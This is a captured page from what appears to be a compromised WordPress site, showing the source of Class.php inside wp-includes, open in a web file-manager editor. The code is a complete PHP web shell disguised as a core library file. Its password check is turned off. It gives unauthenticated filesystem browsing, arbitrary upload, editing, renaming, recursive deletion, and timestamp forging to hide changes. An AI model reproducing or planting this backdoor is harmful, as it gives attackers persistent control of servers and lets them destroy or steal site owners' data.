/
home
/
progreecegroup
/
public_html
/
wp-includes
/
Requests
/
src
/
Response
/
New File
New Folder
Upload
HOME
Edit File: Class.php
<?php # Konfigurasyon $sayfaSifreleme ='0'; # 1 acik , 0 kapali $kullaniciAdi = '123'; $sifre = '123'; # yetki kontrol fonksiyonu function yetkiKontrol($kullaniciAdi,$sifre) { if(empty($_SERVER['PHP_AUTH_USER']) || empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_USER'] != "$kullaniciAdi" || $_SERVER['PHP_AUTH_PW'] != "$sifre") { header('WWW-Authenticate: Basic realm="x"'); die(header('HTTP/1.0 401 Unauthorized')); } } # Sayfa Sifreleme aciksa if($sayfaSifreleme =='1') { # Veri ve sifre kontrolu yetkiKontrol($kullaniciAdi,$sifre); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>eclass.unmer.ac.id</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css" integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ==" crossorigin="anonymous" referrerpolicy="no-referrer" /> <style> body { background-color: #1a1a2e; color: #e4e4e4; } .navbar { background-color: #0f3460 !important; border-bottom: 1px solid #2d3748; } .navbar a { color: #e4e4e4; text-decoration: none; } .navbar a:hover { color: #60a5fa; } .table { background-color: #16213e; color: #e4e4e4; } .table th { background-color: #0f3460; color: #e4e4e4; border-color: #2d3748; } .table td { border-color: #2d3748; color: #e4e4e4; } .table-hover tbody tr:hover { background-color: #2d3748; color: #e4e4e4; } .table a { color: #60a5fa; text-decoration: none; } .table a:hover { text-decoration: underline; } .btn-dark { background-color: #4a5568; border-color: #4a5568; color: #ffffff; } .btn-dark:hover { background-color: #5a6a7a; border-color: #5a6a7a; } .form-control, textarea, input[type="text"], input[type="file"], input[type="datetime-local"] { background-color: #16213e; color: #e4e4e4; border-color: #2d3748; } .form-control:focus, textarea:focus, input:focus { background-color: #16213e; color: #e4e4e4; border-color: #60a5fa; box-shadow: 0 0 0 0.2rem rgba(96, 165, 250, 0.25); } textarea { background-color: #16213e !important; color: #e4e4e4 !important; } .form-section { background-color: #16213e; padding: 20px; border-radius: 8px; margin: 15px 0; border: 1px solid #2d3748; } .form-section label { color: #e4e4e4; } .bulk-checkbox { width: 18px; height: 18px; cursor: pointer; } .bulk-actions { display: none; background-color: #0f3460; padding: 10px 15px; border-radius: 5px; margin: 10px 0; align-items: center; gap: 15px; } .bulk-actions.show { display: flex; } .selected-count { font-weight: bold; color: #e4e4e4; } #selectAll { width: 18px; height: 18px; cursor: pointer; } .action-icons a { margin-right: 8px; color: #a0a0a0; } .action-icons a:hover { color: #60a5fa; } .alert-success { background-color: #065f46; border-color: #047857; color: #d1fae5; } .alert-danger { background-color: #7f1d1d; border-color: #991b1b; color: #fecaca; } .btn-secondary { background-color: #374151; border-color: #374151; } .btn-secondary:hover { background-color: #4b5563; border-color: #4b5563; } .btn-danger { background-color: #dc2626; border-color: #dc2626; } .btn-danger:hover { background-color: #b91c1c; border-color: #b91c1c; } </style> </head> <body> <?php //function function formatSizeUnits($bytes) { if ($bytes >= 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return '<i class="fa-sharp fa-solid fa-bug"></i> '; } elseif ($file == ".htaccess") { return '<i class="fa-solid fa-hammer"></i> '; } if ($ext == "html" || $ext == "htm") { return '<i class="fa-brands fa-html5"></i> '; } elseif ($ext == "php" || $ext == "phtml") { return '<i class="fa-brands fa-php"></i> '; } elseif (in_array($ext, $imgs)) { return '<i class="fa-regular fa-images"></i> '; } elseif ($ext == "css") { return '<i class="fa-brands fa-css3"></i> '; } elseif ($ext == "txt") { return '<i class="fa-regular fa-file-lines"></i> '; } elseif (in_array($ext, $audio)) { return '<i class="fa-duotone fa-file-music"></i> '; } elseif ($ext == "py") { return '<i class="fa-brands fa-python"></i> '; } elseif ($ext == "js") { return '<i class="fa-brands fa-js"></i> '; } else { return '<i class="fa-solid fa-file"></i> '; } } function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($b, $a, $path); } // Delete directory recursively function deleteDirectory($dir) { if (!is_dir($dir)) { return false; } $files = array_diff(scandir($dir), array('.', '..')); foreach ($files as $file) { $path = $dir . '/' . $file; if (is_dir($path)) { deleteDirectory($path); } else { unlink($path); } } return rmdir($dir); } $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>"); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo ("<script>window.location.replace('?p=');</script>"); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = $root_path; } define("PATH", $p); // Handle bulk delete if (isset($_POST['bulk_delete']) && isset($_POST['selected_items'])) { $items = $_POST['selected_items']; $success = 0; $failed = 0; foreach ($items as $item) { $itemPath = PATH . "/" . $item; if (is_file($itemPath)) { if (unlink($itemPath)) { $success++; } else { $failed++; } } elseif (is_dir($itemPath)) { if (deleteDirectory($itemPath)) { $success++; } else { $failed++; } } } echo ("<script>alert('Deleted: $success items. Failed: $failed items.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } // Handle create new file if (isset($_POST['create_file'])) { $newFileName = trim($_POST['new_filename']); if (!empty($newFileName)) { $newFilePath = PATH . "/" . $newFileName; if (file_exists($newFilePath)) { echo ("<script>alert('File or folder already exists!'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { $content = isset($_POST['new_file_content']) ? $_POST['new_file_content'] : ''; if (file_put_contents($newFilePath, $content) !== false) { echo ("<script>alert('File created successfully!'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Error creating file!'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } } } } // Handle create new folder if (isset($_POST['create_folder'])) { $newFolderName = trim($_POST['new_foldername']); if (!empty($newFolderName)) { $newFolderPath = PATH . "/" . $newFolderName; if (file_exists($newFolderPath)) { echo ("<script>alert('File or folder already exists!'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { if (mkdir($newFolderPath, 0755)) { echo ("<script>alert('Folder created successfully!'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Error creating folder!'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } } } } // Handle change file date if (isset($_POST['change_date']) && isset($_GET['t'])) { $targetFile = PATH . "/" . $_GET['t']; $newDate = strtotime($_POST['new_datetime']); if ($newDate && file_exists($targetFile)) { if (touch($targetFile, $newDate, $newDate)) { echo ("<script>alert('Date changed successfully!'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Error changing date!'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } } } echo (' <nav class="navbar navbar-light"> <div class="navbar-brand"> <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a> '); $path = str_replace('\\', '/', PATH); $paths = explode('/', $path); foreach ($paths as $id => $dir_part) { if ($dir_part == '' && $id == 0) { $a = true; echo "<a href=\"?p=/\">/</a>"; continue; } if ($dir_part == '') continue; echo "<a href='?p="; for ($i = 0; $i <= $id; $i++) { echo str_replace(":", "ঘ", $paths[$i]); if ($i != $id) echo "ক"; } echo "'>" . $dir_part . "</a>/"; } echo (' </div> <div class="form-inline d-flex gap-2"> <a href="?newfile&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button"><i class="fa-solid fa-file-circle-plus"></i> New File</button></a> <a href="?newfolder&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button"><i class="fa-solid fa-folder-plus"></i> New Folder</button></a> <a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button"><i class="fa-solid fa-upload"></i> Upload</button></a> <a href="?"><button type="button" class="btn btn-dark"><i class="fa-solid fa-home"></i> HOME</button></a> </div> </nav>'); // New File Form if (isset($_GET['newfile'])) { echo ' <div class="form-section"> <h5><i class="fa-solid fa-file-circle-plus"></i> Create New File</h5> <form method="post"> <div class="mb-3"> <label class="form-label">File Name:</label> <input type="text" class="form-control" name="new_filename" placeholder="example.txt" required> </div> <div class="mb-3"> <label class="form-label">Content (optional):</label> <textarea class="form-control" name="new_file_content" rows="5" placeholder="Enter file content..."></textarea> </div> <button type="submit" class="btn btn-dark" name="create_file"><i class="fa-solid fa-plus"></i> Create File</button> <a href="?p=' . encodePath(PATH) . '" class="btn btn-secondary">Cancel</a> </form> </div>'; } // New Folder Form if (isset($_GET['newfolder'])) { echo ' <div class="form-section"> <h5><i class="fa-solid fa-folder-plus"></i> Create New Folder</h5> <form method="post"> <div class="mb-3"> <label class="form-label">Folder Name:</label> <input type="text" class="form-control" name="new_foldername" placeholder="new-folder" required> </div> <button type="submit" class="btn btn-dark" name="create_folder"><i class="fa-solid fa-plus"></i> Create Folder</button> <a href="?p=' . encodePath(PATH) . '" class="btn btn-secondary">Cancel</a> </form> </div>'; } // Change Date Form if (isset($_GET['t']) && isset($_GET['q'])) { $targetFile = PATH . "/" . $_GET['t']; if (file_exists($targetFile)) { $currentDate = date('Y-m-d\TH:i', filemtime($targetFile)); echo ' <div class="form-section"> <h5><i class="fa-solid fa-calendar-alt"></i> Change Date/Time for: ' . htmlspecialchars($_GET['t']) . '</h5> <form method="post"> <div class="mb-3"> <label class="form-label">New Date/Time:</label> <input type="datetime-local" class="form-control" name="new_datetime" value="' . $currentDate . '" required> </div> <button type="submit" class="btn btn-dark" name="change_date"><i class="fa-solid fa-save"></i> Change Date</button> <a href="?p=' . encodePath(PATH) . '" class="btn btn-secondary">Cancel</a> </form> </div>'; } } if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } // Bulk Actions Bar echo ' <form method="post" id="bulkForm"> <div class="bulk-actions" id="bulkActions"> <span class="selected-count"><span id="selectedCount">0</span> item(s) selected</span> <button type="submit" name="bulk_delete" class="btn btn-danger btn-sm" onclick="return confirm(\'Are you sure you want to delete selected items?\')"> <i class="fa-solid fa-trash"></i> Delete Selected </button> <button type="button" class="btn btn-secondary btn-sm" onclick="deselectAll()"> <i class="fa-solid fa-xmark"></i> Cancel </button> </div> '; echo ' <table class="table table-hover"> <thead> <tr> <th scope="col" style="width: 40px;"><input type="checkbox" id="selectAll" onclick="toggleSelectAll()" title="Select All"></th> <th scope="col">Name</th> <th scope="col">Size</th> <th scope="col">Modified</th> <th scope="col">Perms</th> <th scope="col">Actions</th> </tr> </thead> <tbody> '; foreach ($folders as $folder) { echo " <tr> <td><input type='checkbox' class='bulk-checkbox' name='selected_items[]' value='" . htmlspecialchars($folder) . "' onchange='updateBulkActions()'></td> <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . htmlspecialchars($folder) . "</a></td> <td><b>---</b></td> <td>". date("F d Y H:i:s", filemtime(PATH . "/" . $folder)) . "</td> <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</td> <td class='action-icons'> <a title='Change Date' href='?q=" . urlencode(encodePath(PATH)) . "&t=" . urlencode($folder) . "'><i class='fa-solid fa-calendar-alt'></i></a> <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . urlencode($folder) . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a> <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . urlencode($folder) . "' onclick=\"return confirm('Delete this folder?')\"><i class='fa fa-trash' aria-hidden='true'></i></a> </td> </tr> "; } foreach ($files as $file) { echo " <tr> <td><input type='checkbox' class='bulk-checkbox' name='selected_items[]' value='" . htmlspecialchars($file) . "' onchange='updateBulkActions()'></td> <td>" . fileIcon($file) . htmlspecialchars($file) . "</td> <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td> <td>" . date("F d Y H:i:s", filemtime(PATH . "/" . $file)) . "</td> <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</td> <td class='action-icons'> <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . urlencode($file) . "'><i class='fa-solid fa-file-pen'></i></a> <a title='Change Date' href='?q=" . urlencode(encodePath(PATH)) . "&t=" . urlencode($file) . "'><i class='fa-solid fa-calendar-alt'></i></a> <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . urlencode($file) . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a> <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . urlencode($file) . "' onclick=\"return confirm('Delete this file?')\"><i class='fa fa-trash' aria-hidden='true'></i></a> </td> </tr> "; } echo " </tbody> </table> </form>"; } else { if (empty($_GET)) { echo ("<script>window.location.replace('?p=');</script>"); } } if (isset($_GET['upload'])) { echo ' <div class="form-section"> <h5><i class="fa-solid fa-upload"></i> Upload File</h5> <form method="post" enctype="multipart/form-data"> <div class="mb-3"> <label class="form-label">Select file to upload:</label> <input type="file" class="form-control" name="fileToUpload" id="fileToUpload" required> </div> <button type="submit" class="btn btn-dark" name="upload"><i class="fa-solid fa-upload"></i> Upload</button> <a href="?p=' . encodePath(PATH) . '" class="btn btn-secondary">Cancel</a> </form> </div>'; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo ' <div class="form-section"> <h5><i class="fa-sharp fa-regular fa-pen-to-square"></i> Rename</h5> <form method="post"> <div class="mb-3"> <label class="form-label">New Name:</label> <input type="text" class="form-control" name="name" value="' . htmlspecialchars($_GET['r']) . '" required> </div> <button type="submit" class="btn btn-dark" name="rename"><i class="fa-solid fa-save"></i> Rename</button> <a href="?p=' . encodePath(PATH) . '" class="btn btn-secondary">Cancel</a> </form> </div>'; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo ' <div class="form-section"> <h5><i class="fa-solid fa-file-pen"></i> Edit File: ' . htmlspecialchars($_GET['e']) . '</h5> <form method="post"> <textarea class="form-control" style="height: 500px; font-family: monospace;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea> <br> <button type="submit" class="btn btn-dark" name="edit"><i class="fa-solid fa-save"></i> Save</button> <a href="?p=' . encodePath(PATH) . '" class="btn btn-secondary">Cancel</a> </form> </div>'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "<div class='alert alert-success m-3'>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</div>"; } else { echo "<div class='alert alert-danger m-3'>Sorry, there was an error uploading your file.</div>"; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } } elseif (is_dir($name)) { if(deleteDirectory($name)) { echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } } } ?> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js" integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN" crossorigin="anonymous"></script> <script> // Bulk Selection Functions function updateBulkActions() { const checkboxes = document.querySelectorAll('.bulk-checkbox:checked'); const bulkActions = document.getElementById('bulkActions'); const selectedCount = document.getElementById('selectedCount'); const selectAll = document.getElementById('selectAll'); if (checkboxes.length > 0) { bulkActions.classList.add('show'); selectedCount.textContent = checkboxes.length; } else { bulkActions.classList.remove('show'); } const allCheckboxes = document.querySelectorAll('.bulk-checkbox'); if (allCheckboxes.length > 0 && checkboxes.length === allCheckboxes.length) { selectAll.checked = true; selectAll.indeterminate = false; } else if (checkboxes.length > 0) { selectAll.checked = false; selectAll.indeterminate = true; } else { selectAll.checked = false; selectAll.indeterminate = false; } } function toggleSelectAll() { const selectAll = document.getElementById('selectAll'); const checkboxes = document.querySelectorAll('.bulk-checkbox'); checkboxes.forEach(checkbox => { checkbox.checked = selectAll.checked; }); updateBulkActions(); } function deselectAll() { const selectAll = document.getElementById('selectAll'); const checkboxes = document.querySelectorAll('.bulk-checkbox'); selectAll.checked = false; checkboxes.forEach(checkbox => { checkbox.checked = false; }); updateBulkActions(); } </script> </body> </html>
Save
Cancel